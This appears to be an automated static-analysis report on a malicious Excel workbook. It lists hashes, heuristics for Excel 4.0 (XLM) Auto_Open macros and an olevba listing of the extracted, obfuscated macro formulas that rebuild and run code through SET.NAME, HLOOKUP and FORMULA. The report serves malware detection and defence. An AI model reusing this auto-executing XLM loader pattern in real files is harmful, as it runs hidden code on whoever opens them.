Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 49f73c7b8b330964…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:41:15 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: ee5f9d39aee72d1a7fe3b42ea4cac221 SHA-1: d110b6ff9b31f15db94d9608b4b01aa5c5efc3d7 SHA-256: 49f73c7b8b330964a7e5b53400f9fdfb9a81796fa229e9e3dcffcb3e65868be6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6708 bytes
SHA-256: 8b63565e4b5ca49830b3cbc5e0756418ce176601d2af352d69442ec7e859c97f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mJlelmugYgG
' 0018     26 LABEL : Cell Value, String Constant - AEXFxymPolp len=0 
' 0018     27 LABEL : Cell Value, String Constant - AjAmFfnFgUBk len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H141 
' 0018     20 LABEL : Cell Value, String Constant - bJZEa len=0 
' 0018     24 LABEL : Cell Value, String Constant - cAQIkeaPI len=0 
' 0018     22 LABEL : Cell Value, String Constant - cnOkbpu len=0 
' 0018     21 LABEL : Cell Value, String Constant - EsZJOd len=0 
' 0018     22 LABEL : Cell Value, String Constant - gnDaQgY len=0 
' 0018     25 LABEL : Cell Value, String Constant - HZprshoMJH len=0 
' 0018     23 LABEL : Cell Value, String Constant - IBtpaIFu len=0 
' 0018     20 LABEL : Cell Value, String Constant - JdwJa len=0 
' 0018     20 LABEL : Cell Value, String Constant - oTRvm len=0 
' 0018     24 LABEL : Cell Value, String Constant - rCXYblyCE len=0 
' 0018     26 LABEL : Cell Value, String Constant - WINdwdJMZGq len=0 
' 0018     26 LABEL : Cell Value, String Constant - wsLRjkrGQcx len=0 
' 0018     22 LABEL : Cell Value, String Constant - xBaaCtG len=0 
' 0018     27 LABEL : Cell Value, String Constant - YJvXHwceryWL len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZHrRddDF len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZKSkzTXkTAGH len=0 
' 0018     26 LABEL : Cell Value, String Constant - zkWyOVTCIgC len=0 
' 0018     25 LABEL : Cell Value, String Constant - zmYyLoekYc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mJlelmugYgG,H54,"SET.NAME("gnDaQgY",VALUE("0"))",""
'  mJlelmugYgG,H56,"SET.NAME("cnOkbpu",gnDaQgY)",""
'  mJlelmugYgG,H61,"SET.NAME("wsLRjkrGQcx",gnDaQgY)",""
'  mJlelmugYgG,H63,"SET.NAME("zmYyLoekYc",COUNTA(IBtpaIFu))",""
'  mJlelmugYgG,H65,"SET.NAME("AjAmFfnFgUBk",COUNTA(ZKSkzTXkTAGH))",""
'  mJlelmugYgG,H67,[],""
'  mJlelmugYgG,H71,"SET.NAME("ZHrRddDF","")",""
'  mJlelmugYgG,H76,"cnOkbpu",""
'  mJlelmugYgG,H78,"SET.NAME("oTRvm",HLOOKUP("*",IBtpaIFu,cnOkbpu,FALSE))",""
'  mJlelmugYgG,H83,"EsZJOd",""
'  mJlelmugYgG,H87,"SET.NAME("JdwJa",gnDaQgY)",""
'  mJlelmugYgG,H90,[],""
'  mJlelmugYgG,H95,"JdwJa",""
'  mJlelmugYgG,H99,"YJvXHwceryWL",""
'  mJlelmugYgG,H102,"WINdwdJMZGq",""
'  mJlelmugYgG,H104,"bJZEa",""
'  mJlelmugYgG,H109,"SET.NAME("xBaaCtG",VALUE(HLOOKUP("*",ZKSkzTXkTAGH,bJZEa,FALSE)))",""
'  mJlelmugYgG,H113,"cAQIkeaPI",""
'  mJlelmugYgG,H115,"ZHrRddDF",""
'  mJlelmugYgG,H120,"wsLRjkrGQcx",""
'  mJlelmugYgG,H124,NEXT(),""
'  mJlelmugYgG,H126,"rCXYblyCE",""
'  mJlelmugYgG,H129,"SET.NAME("f",INT(T(FORMULA(T(ZHrRddDF)&"",""&T(rCXYblyCE)))))",""
'  mJlelmugYgG,H131,"zkWyOVTCIgC",""
'  mJlelmugYgG,H134,NEXT(),""
'  mJlelmugYgG,H137,RETURN(),""
'  mJlelmugYgG,H165,"SET.NAME("AEXFxymPolp",H54)",""
'  mJlelmugYgG,H169,"IBtpaIFu",""
'  mJlelmugYgG,H171,"SET.NAME("ZKSkzTXkTAGH",R42C11)",""
'  mJlelmugYgG,H175,"SET.NAME("zkWyOVTCIgC",180)",""
'  mJlelmugYgG,H177,"SET.NAME("HZprshoMJH",8)",""
'  mJlelmugYgG,H179,AEXFxymPolp(),""
'  mJlelmugYgG,H180,HALT(),""

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